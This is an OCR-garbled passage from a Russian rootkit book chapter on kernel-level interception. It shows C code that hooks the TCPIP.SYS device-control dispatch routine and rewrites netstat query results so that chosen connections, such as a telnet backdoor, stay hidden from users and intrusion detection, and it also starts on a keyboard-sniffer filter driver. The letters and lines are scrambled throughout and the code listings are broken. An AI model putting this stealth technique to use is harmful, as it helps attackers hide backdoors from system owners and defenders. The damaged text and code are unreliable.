а   ц ле ь   ­  сркы т ь  свеыт е   ы п тро . Эт о  очне ь  важн о , вде ь  в   боль ш инвст е  в   и р ку т т   е д бу т   и сп ол ь з в ат ь   Т С Р ­ с о е ди н е и я   д л я   п а в роесдт л н и  я о   уп ост а д .  рыСк ват ь   а с м   цп о рс е ,  преодасювтля щ и й   а л у де н ы й  пу тсо д , м ы  толь к о  чт о  н аучил сь , н о  уитл ы   д овр е  netstat  (ри с . 6.2)  мос ­ уг т  пазокьт , чт о   ыронтке й   пцор се с  уанстови л   TCP­соеди н е и е .  лсЕ и   ж е  е  н ма и   т р по ы  м ы  уанст ови м   л ов уш к у  в  IRP драйве а   TCPIP. SYS, оркыт н ит к о  н е  увидт . 

с.Ри

и тУ л нр е м о 162 

а   netstat  п оакз ы в ае а  порт в  и  сноясти

  6.2.  ы нйчипТ

 выодв

т   п р о т кл е  соеидн ия

 ут тли ы

,  л ока ь н ы . 

 netstat 

й   и   у да л е н ы

й   асер д



в а Гл П Р И МЕЧ А Н И Е

т  н а  уров н

е   яр д

а 



ы р и С от к у м е ющ е г и т в  севто де м  гов риьт

е ов р еП с е д уб т лД н цу к и ф л в т йс о р ц

а  6.Пехрва

е   с о е ди н о  псоьвлазт й  IDS эот . 

й  с  пом щ ь я  праомг о т  м оет д  б ес ил ен

, чт о  на м  ннжу о  стале д м  с м   и  сзвяан ы т   T C P I P. SYS, а  уйвортс а  дйарве о  уазкт ь  им я  файл я   го т э о   и с п о л ь з су е т я   у н цф к и и  н жун о  птадер ь  им а   ( P F I L E _ O B J E C T )  и  объке а  сержоди т  уазкелт и у  фунцк и й   (ри с . 6.3).   дйарвое

тОбъ ек

 уст ройст в

та ле з к У

ь  н а  об

ю  IRP пеом ож т  убесрчь й  netstat, и  ноырт ек . О  то м , ка к  об ойт

я  о т  гла з  полвзьает я ,  х  лыналь ок х  IDS.  Н о  про ­ и  севту ю  IDS, м ы  ещ е  б у ­

ь  дл я  птавхер а  IRP­тилбцаы , ­  т э о  оьилестпдр  ни м  уройвстм .  В  нша е м   сл уч а е   р да й в е о м  ­  \ \ D E V I C E \ \ T C P .  Н О   М Ы  н е  мжое , м ы  должн ы  и споль з ват ь   об ъ ек т  драйве я   loGetDeviceObjectPointer.  я  увайортс , а  н а  вы дох е  получи м  объек т   рой в уст а   (PDRIVER_OBJECT).  Объ ек  н а  объке т  драйве ,  ыротк й   се ор дж и т

м  прос Д ан о т  фай т   тсу   а бт л и

 я м  ­ .  й  ­ ­ ­

а  . др



б Оъ к е

т  драйв ер

а 

IRP  MJ  WRITE 

с.Ри

а К к   б оы ч н о ор т к е а л т  вс ­  бо чт р п и  вы груз к к в но и

  6.3.  Обътек

 уст строй ав

,  икрут т   ол жд е н   сохран иьт й  в ы  хиот е  уаснт ови ь  лшуво к е  нибоедхмы е  дейвсти я , он а  мжое ы  н итк о  н ичге о  н е  з апозд рил . Тж ка и  ­  лсе е   и рк у т а  и з  птамя м  исполь з ват  ловуш к и  м ы  беду

 и  обътек

  ер да . Плсо

с   ори г н ал ь н о е  тго

т  вы з ват е  аерд и  в ы  зиахот ь  фунцки

ю у д е щл С и н ием

ера в дрй

й   у н ф цк и , дл  я , ка к  вша а  фун цк и я  сед ­ ь  ори г н аль н у ю  фунцк и ю  с  индохс й  фунцк и и  нжуе н  е  эт о  седльат . Д л я  уаст ­ ю   InterlockedExchange. 

й   о к д  получае т   азук ел т ь  н а  драйве р   TCPIP. SYS (п о  з адн ом т   лов уш к у   дл и   у с тр о й с тв а   ­  \\DEVICE\\TCP)  и   у с та н а в л и в а е IRP_MJ_DEVICE_CONTROL  (и с п о л ь з у е тс я   дл я   у п р а в л е н и я   ТСР­уст р о й св т м ) .  тси Л н

г  6 . 7 . ПХРЕВА

у   я ­

Т  IRP  M J  DEVICE  CONTROL 

• include  " n t d d k . h "  • include  " t d i i n f o . h "  PFILE  OBJECT  p t r  file;  163 

RootKits  PDEVICE_OBJECT ptr_dev_tcp;  PDEVICE_OBJECT  ptr_dev_tcpip  typedef  NTSTATUS  (*Prev_IRPMJDEVICECONTROL) (IN  PDEVICE_OBJECT,  IN  PIRP);  Prev_IRPMJDEVICECONTROL  prev_func;  NTSTATUS  Install_Hook()  {  NTSTATUS  s;  UNICODE_STRING  dev_unicode;  WCHAR  dev_name[]  =  L"\\Device\\Tcp";  ptr_file  = NULL;  ptr_dev_tcp  = NULL;  ptr_dev_tcpip  = NULL;  RtllnitUnicodeString  (&dev_unicode,  dev_name);  s =  IoGetDeviceObjectPointer(&dev_unicode,  FILE_READ_DATA,  &ptr_file, &ptr_dev_tcp);  if(!NT_SUCCESS (s)) return s;  ptr_dev_tcpip  = ptr_dev_tcp­>DriverObject;  // сеянархо м   ерда с  ооньлаигр й   ицкнуф и  prev_func =  ptr_dev_tcpip­>MajorFunction[IRP_MJ_DEVICE_CONTROL];  // устанвлие м  ловушк у   ­ фицкну ю  с  иенм м   hook  if  (prev_func)  InterlockedExchange  ( (PLONG)  Sptr_dev_tcpip­>MajorFunction[IRP_MJ_DEVICE_CONTROL],  (LONG)hook) ;  return  STATUS_SUCCESS;  } 

аН м  оалост ь  толь к о  н апист ь  сма у  фунцки ю  hook. Эт о  и  беду т  смоа й  сжол ­ но й  чьтса ю  н ша ге о  з адн и я . Пр и  раз крбот е  эот й  фунцк и и   на м  н ужн о  учи ­ ыт ва ь   раз н ы е   итп ы   IRP­з апрос в   л д я   рай д в е а   TCPIP.SYS  ­  ьдве , км о р е  IRP_MJ_DEVICE_CONTROL,  тсе ь   ще е   и  дгури е   з ап росы .  Эт о   бы л о   е ов р п ,  чт о  на м  н ужн о  уч иыт вьа . А  ворт е  ­  тэ о  ко д  управлен и я   ­мовд выод м  ­  IoControlCode.  Есл и   о н   веа р н   IOCTL_TCP_QUERY_INFORMATION_EX,  т о  драй ве р  озбяа н   п р а е во д с т и ь  пмгаор е  вдор е  netstat  и нормафц и ю  об о  есв х  соеид н и я х   (об о  вес х  оыркт х  поархт) .  е уф Б

р  вщ яходи

х  з апрос

в  н ужн

о  привест

и  к  тип

у   TDlObjectID: 

#define CO_TL_ENTITY  0x400;  #define CL_TL_ENTITY  0x401;  #define IOCTL_TP_QUERY_INFORMATION_EX  0x00120003  typedef  struct  TDIEntitylD {  ulong  tei_entity;  ulong  tei_instance;  } TDIEntitylD;  typedef  struct  TDlObjectID { 

164 

в а Гл

а  6.Пехрва

т   н а  уорвн

е   яр д

а 

TDIEntitylD  t o i _ e n t i t y ;  ulong  t o i _ c l a s s ;  ulong  t o i _ i d l  }  T D I O b j e c t I D ; 

ю у д ле С щ и й   ш а г  ­  м ы  долж н ы   н ай т и   е б уф р   в до а   и  п ри вест и   ге о  к  тип у  м   од м ет а  TDIObjectID.  Есл и   lRP­з ап ро с   п осы л ает я   с   и сп оль з ов ан и е METHOD_NEITHER  (ка к  в  случа е   netstat),  т о  бе уф р   в од а   м ож н о   н ай т и   в  лоп е   P a r a m e t e r s . D e v i c e l o C o n t r o l . T y p e 3 I n p u t B u f f e r  IRP­стеак .  ю   у н ф цк и и   IoGetCurrentlrp­ а С м   IRP­сет к   мож н о   п ол уч и т ь  с  пмощ ь StackLocation:  PIO_STACK_LOCATION  p l r p _ s t a c k  =  I o G e t C u r r e n t l r p S t a c k L o c a t i o n ( p l r p ) ; 

е фу Б ю у д е лщ с г

р   вд о

а  можн о  оаропте

о  получит

ь  и  пирвтсе

и  к  тип

у  TDIObjectID  с  пмощ ь

ю 



inpbuf =  (TDIObjectID *)  irp_stack­>Parameters.DeviceloControl.Type3InputBuffer; 

лД

я  срыокит я  TCP­порт в   м ы  бе ду м  ипсльозвта ь  зпасор ы  отбъке а  CO_TL_  ENTITY, а  дл я   UDP­порт в   ­  CL_TL_ENTITY. Тж ка е   н жу о  учиыт ва ь   пло е  ю  мжон о  опелридьт , с  киак ­ t o i _ i d  рутк с ы  TDIOb j ectID ­  с  ег о  пщомь м и  кюл мча и  плоьзевта ь  зиптасу л  уитл у  netstat (н априме , netstat ­о ) .  ьл о к с П

у  бе уф р  вдво а  пиревд t e i _ e n t i t y  долж н о   жре дос та ENTITY ­  дл я   UDP­п ортв

ни д е л с о П о  корт в оад/ в ы оад и  з аполн и и л ь вор та п ф

й  ш а г ­ э т о  ннапис й   м ы  уж е  упомин ал , кдго а  драй ве т   е б уф р   вы до ь  эт и  дан ы

н  к  тип у  TDIOb j ectID, пло е   t u i _ e n t i t y  .  ь   CO_TL_ENTITY дл я  TCP­п орт в   и  CL_TL_  .  е  снево тсб й  фнуцки и   в  п . 5.6. Эт у  фунцк и р  TCPIP. SYS  зонакчи а   з ап рош ен ы м и   ад н ы м и е  в  иасерн т х  риакту

и  loCompletionRou  t i n e ,  ю   в ы з в ае т   Д и с п еч т р  т  обраыт ва ь   IRP­п аек  т  я .  М ы  вед ь   собираем , н е  та к  ли ? 

та дер П

ь   п р ма те ы   у н ц фк и и   IoCompletionRoutine  можн о   ч ер irp_stack­>Context.  имЭт и  пмарте и  буд т  аерд с  иснход й  фунцк и е   i n p b u f ­ > t o i _ i d ,  чбот ы   у фн к ц и IoCompletionRoutine  и   з н ач е и лг ом а  опредлит ь  форма т  бре фу а  вы авдо . 

ил а ь с п т у З ыро т к

?  иНчгое й  вс е  павости н и тс Л

г  6.8. А Н Е В Т С Б О С

, сйчеа с  м ы  рир томса т  н а  сво и  мтсе Я ­ЯИЧТЦ ФУО БАКРН О

а  (ли стн

м   нп л о ы й  ко д  фунцк и ­ловуш ик г  6.8). 

з  и   я , 

К   IRP_MJ_DEVICE_CONTROL 

NTSTATUS hook  (IN PDEVICE_OBJECT  pDeviceObject, IN PIRP plrp)  (  к  // улетазк ь  н а  IRP­сет

165 

RootKits  PIO_STACK_LOCATION  sirp;  // моте д   чадер п и   (на с  иеусртн т   METHOD_NEITHER)  ULONG  io_transType;  // бефу р   дов а  TDIObjectID  *inpbuf;  // пртема ы  дл я   IoCompletionRoutine  DWORD context;  // Пеачуло м   летаз ку ь   н а   IRP­сет к  sirp = IoGetCurrentlrpStackLocation(  plrp);  switch  (sirp­>MajorFunction)  {  case  IRP_MJ_DEVICE_CONTROL:  if  ((sirp­>MinorFunction  == 0) &&  (sirp­>Parameters.DeviceloControl.loControlCode  ==  IOCTL_TCP_QUERY_INFORMATION_EX))  {  io_transType =  sirp­>Parameters.DeviceloControl.loControlCode;  io_transType  &= 3;  if  (ioJzransType == METHOD_NEITHER) 

f  inpbuf =  (TDIObjectID*)  sirp­>Parameters.DeviceloControl.Type3InputBuffer;  // TCP­птека ы   ­ CO_TL_ENTITY  if  (inpbuf­>toi_entity.tei_entity  ==  CO_TL_ENTITY)  {  if  ( (inpbuf­>toi_id  == 0x101)  |  (inpbuf­>toi_id  ==  0x102)  ||  (inpbuf­>toi_id  ==  0x110))  (  // веавыз м   IoCompletionRoutine,  лсе и   IRP  ­ уешпс н  sirp­>Control  = 0;  sirp­>Control  |= SL_INVOKE_ON_SUCCESS;  sirp­>Context  =  (PI0_C0MPLETION_ROUTINE)  ExAllocatePool(NonPagedPool,  sizeof(REQINFO));  ((PREQINFO)sirp­>Context)­>01dCompletion  =  sirp­>CompletionRoutine;  ((PREQINFO)slrp­>Context)­>ReqType  =  inpbuf­>toi_id;  sirp­>CompletionRoutine  =  (PIO_COMPLETION_ROUTINE)Completion;  }  }  }  } 

166 

валГ

а  6.Па в х е р

т  н а  нвору

е  рдя

а 

break;  default: break;  }  //  еавыз м   ундохси ю   ицкнуф ю  уинелварп я   устрой в return  prev_func(pDeviceObject,  plrp); 

м 

}  р еп Т

ь   йе п р д м   к   раз к б от tionRoutine,  уротк ю   н з а в ое еч м  прыед ущ ая .  а з О к ы в с яа е т

е   н ша ге о   в ари н т а   у н ф цк и м   MyCompletion.  Он а  беду

и   ioComple­ т   ще е  сложн е , 

, вес , чт о  бы л о  снлаед о  вы ш е , ­  тэ о  толь к о  дл я  тго , чбот ь  в  сет к  IRP зшврае ю щ у ю  фунцкию . Тлоьк о  с  е е  пмощ ь ю  можн х  сх няиед о , вымщеарзво е  дорйева м  TCPIР ь  днаы е  о  сыв е т ь  очитобар к  IRP (нша а  фнуцки я  hook) н е  в  снияотс и  эго т о  сталед ь ж  бы л о  з умадн о   Microsoft.  Очевинд о , дл я   бльош е й   б ез оп асн и т ,  н  эт о  обош ли. 

ив т а б ти а в х е р д еВ у и

о   чм е н т о ,  з аверш ю щ а я   п цор у де а К к  уж е  бы л л  бе фу р  ваыдов . Сома е  сжлоц а к к  TCPIP. SYS  з аполн и р е ф уб а  вы вдо а  з ави с т  о т  кюл чйе , кырот е  поль з велат netstat.  Наприме , кюл ч  ­о  уитл ы  netstat пезовля вос ,  ыротк м   п р и н ал д е ж т   ры к от е   т рп о ы   (ри с tasklist мжон о  н айт и   и сп ол нем ы я й  фай л   пц о р с е

ы  до ­ о  пе ­ .  SYS.   ­  ат  к о  м ы  

а   в ы з ы в а ес т

я   п лсо е   го т е  в  тмо , чт о  суртк ь  уакз л  пр и  вы зво т  вы тсве и   PID  проц ес .  6.4). Пот м   с   п мо щ ь а  п о  ег о  PID  (ри с . 6.5). 

,  а  е  ­ ю 

­|a  X 

«  C:\WIN00WS\System3Z\cmd,e»ie  Microsoft  Windows  XP  [В ерси я   5.1.26001    орКп ац и я   М а й рк от с ф ,  198S­2Q01. 

­Л

C:SDocuments  and  S e t t i n g s S D e n i s > n e t s t a t  ­о  н ыви т к А

е   п л ю ок д ч е н и мИ я   TCP  TCP  TCP 

 я

ьл а н к о ы Л й   адре den:l215  den:1589  den:1590 

с  

ши н е В

й   адре с  64.12.25.149:519(3  pop.nail.псрор  З a d s . u e b . a o l . c o n : h t t p 

С о с т ня и е  ESTABLISHED  TI№ _ UAI I  ESTABLISHED 

PID  1452  0  1452 

C:\Documents  and  S e t t i n a s \ D e n i s > _ 

с.Ри

лсЕ ру т е д уб

  6.4. ми ыВодв

 PID вельвц лад

 порт  ов

и  netstat з апущ ен а  с  кюл чо м  ­о , т о  TCPIP. SYS  воз ращ е а   с  клю чо ы   CONNINFO102.  лсЕ и   ж е  netstat  з апущ ен т  суртк а  CONNINFO110. 

т  бе уф р  срукт м   ­Ь , т о  у   ебруф

­ а 

167 

RootKits 

­1Ш  *J 

е л   C:\WIND0WS\System32\tmd.exe  LSflSS.EXE  SUCHOSI.EXE  SUCHOST.EXE  SUCHOST.EXE  SUCHOSI.EXE  ЕХ8РШ ЕВ.ЕХ Е   SP00LSU.EXE  KUNDLL32.EXE  CTFHON.EXE  NUSUC32.EXE  o u t p o s t . e x e  t h e b a t . e x e  TOTftLCMD.EXE  UINUOBD.EXE  O p e r a . e x e  n g e . e x e  ftaentSur.exe  лЖЛ  «С Й ^ и Н з^ я й к х э



c n d . e x e  n s p a i n t . e x e  SUCHOSI.EXE  t a s k l i s t . e x e  i m i p r u s e . e x e 

0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0 

V84  C o n s o l e  936  C o n s o l e  9 8 0  C o n s o l e  1132  C o n s o l e  1216  C o n s o l e  1 3 0 4  C o n s o l e  1480  C o n s o l e  1S36  C o n s o l e  1 5 4 4  C o n s o l e  1628  C o n s o l e  1648  C o n s o l e  1932  C o n s o l e  668  C o n s o l e  1 2 0  C o n s o l e  1 9 0 4  C o n s o l e  1528  C o n s o l e  ^ « C o n s o l e  ш^ Ш ЛЈ.  >2  C y n s o l e  N ^ 6 ( K L Ј 6 n s o l e  1ьи ш   C o n s o l e  1 5 0 0  C o n s o l e  1 9 2 0  C o n s o l e  1 3 6 0  C o n s o l e 

1  276  К  Б 1  4 4 0  KB  8  4 6 4  KS  892  К  Б 588  К  Б 8  8 5 2  К  Б 9 4 0  К  Б 4 0 0  К  Б 668  К  Б 4 0 8  К  Б 15  9 4 0  К  Б 19  9 2 8  К  Б 3  5 8 8  К  Б 4 3  3 3 2  К  Б 28  728  К  Б 8  8 4 0  К  Б 6  072  К  Б 1 4  636  К  Б 1  4 5 2  К  Б 13  5 9 2  К  Б 2  9 4 0  К  Б 2  7 0 0  К  Б 3  8 1 6  К  Б

ll 

C : \ D o c u n e n t s  and  S e t t i n < j s \ D e n i s > 

с.Ри

В о   в се Р а с м ор ти

х   о с та л ь н ы

х   случ ая м  вс е  эт и  сурытк

  6.5.  ми ыВодв

х   у   б е ур ф : 

 ссокип

   ач ад з

а   б уе д

т   с тр у к р

а   CONNINFO101. 

#define HTONS(a)  (((OxFFSa)8) )  typedef  struct _CONNINFO101 {  unsigned  long status;  unsigned  long  src_addr;  unsigned  short src_port;  unsigned  short  unkl;  unsigned  long dst_addr;  unsigned  short dst_port;  unsigned  short  unk2;  } CONNINFO101, *PCONNINFO101;  typedef  struct _CONNINFO102 {  unsigned  long status;  unsigned  long src_addr;  unsigned  short  src_port;  unsigned  short  unkl;  unsigned  long dst_addr;  unsigned  short dst_port;  unsigned  short  unk2;  unsigned  long pid;  } CONNINFO102, *PCONNINFO102;  typedef  struct _CONNINFO110 {  unsigned  long size;  unsigned  long status;  unsigned  long src_addr;  unsigned  short  src_port;  unsigned  short  unkl; 

168 

"Г ] 

в а Гл

а  6.Пехрва

т  н а  уровн

е   яр д

а 

u n s i g n e d  l o n g  d s t _ a d d r ;  u n s i g n e d  s h o r t  d s t _ p o r t ;  u n s i g n e d  s h o r t  u n k 2 ;  u n s i g n e d  l o n g  p i d ;  PVOID  u n k 3 [ 3 5 ] ;  }  CONNINFO102,  *PCONNINFO102; 

Ф у н кц и я   MyCompletion  получае цк и я   hook  вы дели а   пь т а м я PREQINFO.  В ы   бетуд е   и сп ол ь з ов ат ож а д К е  соеди н е и е  н аходист 0 ­  н евидмо

т  уакз етл .  Context  ­  тэ ь   ге о  дл я  в  опредлн о



3 ­  SYN_SENT ­  пвартоле

н  SYN; 

4 ­  SYN_RECEIVED ­  SYN пчулоне

н ит с и Л



5 ­  ESTABLISHED ­  анустовле



6 ­  FIN_WAIT_1 ­  ожианд

е   FIN (l); 

7 ­  FIN_WAIT_2  ­  ожианд

е   FIN (2); 

8 ­  CLOSE_WAIT ­  ожисаетд

я  з раык ит

9 ­  CLOSING ­  исоедн и

а   и кр у т

, чт о  саптря с  0 (н ев и д м)

я   р ыс к в а т о   ж ом е с

,  п редосатви я  MyCompletion  пниервд А Ы Н  ДА

е  соеидн и я

е  з раык всеят ь  вс е  н жун ы ? 

,  м ы   собираем т   вс н бо д

г  6 . 9 . К Т О Б А Р Б О

­ а  . 



2 ­  LISTENING ­  прослуш ивсяает

В ы  уж е  понлия лд я  ни х  сута

о   унф е   ит п



1 ­CLOSED­ зрыак от

Д оп и уст м дг о Т о км п ь ю ет р ­ ж е р вт у н ф цк и

ь   Context,  дл я   октрг о   у а к з те л ь   н а  дан ы я   о тс л е ж и в а н и я   с о е ди н е и й м   с о тн я и : 

Х  о Х Я И Н Е Н И  СД Е О



.  е  на м  соеидн и

я  можн

, уаснт ови

в 

ь   все   соеидн и я   п о   23  порт у   (telnet).  т   з ап и уст ь   в соб ен т ы й   telnet­серв р  н а  в   ва м   telnet­досту п   к  компь ю етру .  Наш а  а  в  листн г е  6.9.  , ННЫ Е Ч У Л ПО

Х  О Т  TCPIP.SYS 

NTSTATUS  MyCompletion  (IN PDEVICEJ3BJECT  pDeviceObject,  IN PIRP pl'rp,  IN PVOID  Context)  {  PVOID  outbuf; // ефуб р   довы а  DWORD  numbufs; // втсечилок о   орефуб в   довы а  PIO_COMPLETION_ROUTINE  p_cRoutine;  DWORD i; 

169 

RootKits  o u t b u f  =  p I r p ­ > U s e r B u f f e r ;  / /  п о л у ч а е м   ь д щ еп р у ю   CompletionRoutine,  п е р д а н у ю   чере p _ c R o u t i n e  =  ( ( P R E Q I N F O ) C o n t e x t ) ­ > 0 1 d C o m p l e t i o n ;  i f  (((PREQINFO)Context)­>ReqType  ==  0x101) 

з   C o n t e x t 



numbufs  = Irp­>IoStatus.Information  / sizeof(CONNINFO101);  f o r d  = 0; i ReqType  == 0x102)  {  numbufs  = Irp­>IoStatus.Information  / sizeof (CONNINFO102);  for(i = 0 ;  i ReqType  == 0x110)  (  numbufs  = Irp­>IoStatus.Information  / sizeof(CONNINFO110);  for(i = 0 ;  i  S t a c k C o u n t  >  (ULONG)l)  &&  ( p _ c R o u t i n e  !=  NULL))  { 

r e t u r n  ( p _ c R o u t i n e ) ( p D e v i c e O b j e c t ,  p l r p ,  NULL);  )  e l s e  { 

return  pIrp­>IoStatus.Status; 

6.5. МЫВЕН ОР У ГОН В  эот а т е пк е вл ь а т о с к 170 

Е  ДРРЕВЙА м   р а з де л е   м ы   п о ы а те м с х   IRP  и  том , ка к  вбщо й   п рог ам й  и  драйвеом

Ы  я   с и ет м а з и р о в а т е  пиордхс

т   е мб о . 

н  дан ы м

ь   от ,  чт о   уж и   ж ем д

е   уз н ал у   п ль о з

и   о  ­

в а Гл

Р з а ч б р т ио к еб с

, н о  и  нма в  цу кчопе . Допуистм ер т х  ржеимха • 

с  ш ровианф е

м  дна ы х

• 

с  ш ровианф е

м   и  кцореки

и тер юн ящ и Н о  мжон щусо е в л я т е ва л я п тсо д р шн а е м ыв р п е о р й  беду т ы  ртбоа на д ы х юл кч и

еЧ й а рв е д ер п

;  й  ош ибко



т  произ вдт ы   п вре ы . Промежчутн ы  рраест

х   е д бу

т   со ­ о   с  м   п ри л о ­ .  Вор т й  и  , вы пол ­

й  поль з овеалть иск ы   с  урсотйвм й   ом п к н е т о  эонк м о



ь  и  мн вгору еы е   в з а и м е йо д с т

,  чт о   пр и   заркбто я   о  фунцк ихя : эт и  фунцк и и  дл

е   рай д в е а   ел бо , кырот е   в ы п ол н ю я я  ва с  уж е  к­от т о  реали з овал

ы  ве с х  унвоер й  дл я  огнод р   г мо а с о   н и з ог к о   уров н ы   в ы с о кг о   уров н я   об ы ч н )  анд ы х ,  до к ы   шо икб а  в  друго й   и  други е   оп ерац и . 

м   ж е   и н ер с т ы   м н ог ур в е ы ы   н е  толь к о   ы п в х те ар ю д  пчаедр й  н а  сюулде щ и ни я  риоквут .  я   м н ог ур в е ы о  сме тси

й   и з   оры т к й   н е п о с рв д т н

й  драйве . Самы й  н и з к е   с  уросйтвм .  Самы й   и ен й рт ф с   д л я   бар то ы   с  урсотйвм о   рой в уст а   MyDevice  едбу т   рт и ь  н изоурвкн еы е  услуг и  дву м  слуеюд щ им ь  ш ровианф е  дна ы х , а  тирет й   ­  получ ат х  дву х  и  пртаеовдсля ь   в н е б то с у ю  услуг у   ­  й  драйве р  мжон о  беду т  н арсоти ь  (н ап ри ме ) тка , чбот ы  пропатуск ь  ш а г  ш риовфан и я . 

т   ап н р т о т   п о л ь з в е ал т ь и с к е   у   н т го кар б с т  преоадтсвля

  члуса й  беду

И сп ол ь з у в т сй о р

а 



о  орган из оват

о  з абиоть с

е  ярд

ы   Windows облегчи и   жизн ь  н е  толь к о  ь  драйве ы   н до г о  и  тго о  ж е   урсотйв а  я   п бс ое ч и т ь   т бо а р у  урсотй в а   MyDevice  в 

о   н ап и с т ь   р т и   л ье д н т о ы х   йар д в е ,  ажкыд ь   а к к   ом п к н е т   н и з ог к о   уров н я ,  аюрбот щ и , та к  и  кпнмоет , пюаволстреяд щ и м   в ы о у рс к н е в ы й   и е й н р фт с  дл я   тбоар й  драйве ы  буд т  влюк чат ь  ещ е  и  промежчутн ы й  ш роивафн е  и  кцорекию . Н е  слиш ом­к т

й о р пу а т ж не и я

Д рай в е Д рай в е ав лст ен и т ам н ч еп м и

, тсребут

т   н а  уров н



об ы ч н ы й

жн о М

р ей в а Д

й   м е ит с в   с ои е д н т я

• 

ж рт еа д

я с П чл уо т е а нжу г о  уровн я

и  операц ион , приумда

а  6.Пехрва

о  ув тйсор я   е а тб о р о   в о те ч а ю

й  уровен ь

ы  д о г жо к тсе

т  цукепоч

к   н е  сзвяан ы

е   р адй в е т   и  пюадер . Он

ь   з е р л уь а т о рц ке и

я   ав м   н е  е  н и з ок ­

 драйвео.  о   с   «желз ом» х   и з   н до г

е   с  ап арнт ы

ы   дл я   н ас ?  Мн огурвн еы т   а нд ы е ,  н о  и  и з менюя и  иедаль н о  пхяод т  дл

,  м ы   жеом о  да кис

ь  й  .  В   :  , вот ­ ­ ю  , чер з 



т   з а   о фр м а т и р о в а н и е   ад н ы

,  преобаз вн и ,  н иак

  рай д в е

о   уров н ы   б л ео

т  драй ве

а  фюимуро т   н е п о в с р тд н

е   р да й в е ы ы  ­  о т  кру тиав л

е   в ы ог с к

й  уровен й   в ы ис о к

м   п е р х в иа т . К  тм о

ь   лю б о у  ж е  мнвыоеруг

е   (п ред о   орф м   б со е

.  ­ ­ ­

е  т   и х  я   з о са д ­ е   тсу

­ е  171 

RootKits 

р адй в е уров н е г

ы   п оз вю л я о  кадо

П р еп д о л ж и м у км об есп ч и в аю щ и ч и ел ьт н

о  пщор е

6 . 5 . 1 .  К А ж е д рП о б съ н я и т л ак в и у р т ы нру та ы

ш  сне фи

но

и  уж п о  ц епочк у чц кпо е

о   до б а в л е н и н  созатд в   (ц еп оч к й  рисун о

й  драй ве

ь  клавиурнт ы я   л ав к и ш

ш  драй ве

дг о К п ол н е я

.  На

е   н аж и т р  с  н уля

й   лавкиш . 

К   W I N D O W S  РАБОТ Е

я   др а й в е р ь  уройств у   у с тр о й с тв ) к  (ри с.6.6) . 

а   в   ц еп оч к о  и  добавит .  отбЧ

•  •  •  172 

о  мн огурв еог т   др а й в е м и

.  Прощ я   н ап и с т м  н а  приме

и  беду

е  сзвяа н  с  сювутс ещо и м   йв о р т с у м   в ея л с т р  (рутки ) смыа й  внхреи й  в  цепчок м   / d e v i c e / s n i f f e r . 

п ол уч ае п щм ео а еа п д р

ь   н аж и м е е  дей свти я т  санк­ок д  н ожат т  санк­ок д  клавиш т  IRP с о  снак­одк

т  квиашл у : 

, драйве

о  дйар е   г е св ь   е сн ф и е  с  клави­

м  уровн е

. Сома я   в ла и кш я  ввер х  и  вн и ь  на ш  рикут т  в  эт

ь   н аж и т

у   др а й в е р о ь  ег о  в  свсутюое щ у ы   бы л о   п о н тя е

р  в  ц епочк

­  о р 

е  ,  з  у 

в   н е до с ат ч н о

.  ­

ю  гпур ,  расмоти

м  урсотйв я   о н к р тл е

р   л ка в и у тр : о н  раетбо

 с  снветбсоы

,  пко

м  м  в  гпур е  ы   8042.  м 

.  ждерП е  я   IRP. IRP  а   н е  дигнтсое  т ь   IRP  ил и 

р  8042  последвать н

й  клавиш и  и з  бер уф и  в  IRP;  м   «н»хврае . 

­ ­ ,  ­

 И

,  ак к   ц епочк а   р оу йс т в   ы б о а рт в е т   и н о р м фа ц и ю я  з апро с  н а  ченти е  н ажит я  клавиш и  ­  ормфи уест т   всо е  пешут вси е   вн и з  п о  цпечок е  уройвста а   8042.  жаодК е   р о й увс т о   ж ом е т   м оид ц ф р о в а т о  ин ча е  ореагти ов ь  н а  IRP.  т  суюлед щ и

­

р  ­  маргоп я   з ыа р б т ь   и до н   йолс , пеьврот , зна

Т  С  ДРА Й В Е Р А М

о  псаеотд

а  поль з оваетл

о   н и зо к

й   с н е иф м   н е  приседт о   н ап и с т . А  эот

.  очДатсн

. Осн ов ы

Р аз б ер м ся г е вс н ча и е о нк р тл е ­ак т

о   сл ож н г

р  клави утр ы  беду т  ртабо ь  н а  сома м  вы оск е  в  тмо , чт о  в  течок , гд е  м ы  мжео м  перхвиат е  кон виертоан ы   в  птека ы  IRP. Эт и  IRP провдигаю ст е  драй вео . Вес , чт о  на м  н жун о , — эт о  васвти . 

Н о   п ростг Р у т ик т  долж е п у   у с тр о й с т с л е уд ю щ и ж ыа д К ру ос йт в На р о й у с тв

я   од в л ь н

е  че м  при успт ь   к  раз рбкот е  свнебтос г ,  ва м   н уж о   з н аьт ,  ак к   Windows  упраевля ь   т э о   н а   п ри м е .  ольПск у   м ы   соб и раем , т о  и  объснят ь  ртбоа у  с  драйвем м  драй веом . 

а вр е

На и н сер т о

ь   н ап и с н

, чт о  на м  н ужн о  н паитс ю   вс е   н аж и т й   рд а й в е р   л авк и урыт й   п о л р ик т в а н и , че м  писат ь  драйве

, поликртую щ у ь   с о бв е т н ы

тва

т   н а м   и з б еж ат . 

а   л ак в и у р ты

о  вы ; 

­

в а Гл

Р у тки

т   (к л а в и а т у р н ы с н и ефр

а  6.Пехрва

т   н а  уровн

й 

/device/sniffer 

 с ) 

/device/keyboardclassO 

е  ярд

а 



I  Кл а с драй в ер

с   "kbdclass"  (кл а с а   кл а в и а ту р ы

1

Драй ве

р   п орт а   кл а в и а ту р (i8042prt) 

Цеп оч к

ы 

а  драй в еро

Г руп у с тр о й с т

в 

к оП и д ц ф ров ат ер П м о н е п к р в дт а йор тсу

а  IRP дви ж ест , ка к  перйт в   ­  чоне в  ув тйсор , дл я  з агруз к

о р й ев а д а вд р П

я  врве . 

ь  еог д  тме

  6.6.  иочЦепк

  еровай д

х  п о  цпчеок

и  к  рнермстаои ь  ва м  пмагро ь   п ол ез н ы . Пм арго и   м п аг ро

в 

ы  IRP, пчаедр я  дл я   бнмое а  дан ы м , а  тжак е  дл я  пчадер

К   сож ал ен и ю нб о р д п н чье о

и   ж де м и  слжубен о

, кажыд

я   п а ек

ы 

й  драй ве

р  мжое

т  мо

­

ю  сюудел щ ге о  впоаср , раз реш и т е  мн е  у  DeviceTree, вы щвяоду ю  дерв о  драй вео в  й   и н м у ре т с т   п р и   раз б кот е   м н ог ур в н е ы х  а  www. o s r o n l i n e . com.  у  мжно о  стча к ь  с  сйта ы  н ужн а  беспнлат я   р е г и с та ц и я . 

х  веад у   п ол ь з в е ат о ск

К  В АВ /О Д В Ы О Д

А 

т  Диспчет

р  ввода/вы ода й   п рог ам и   ж ем д

й  иорнмацфи

,  уртск

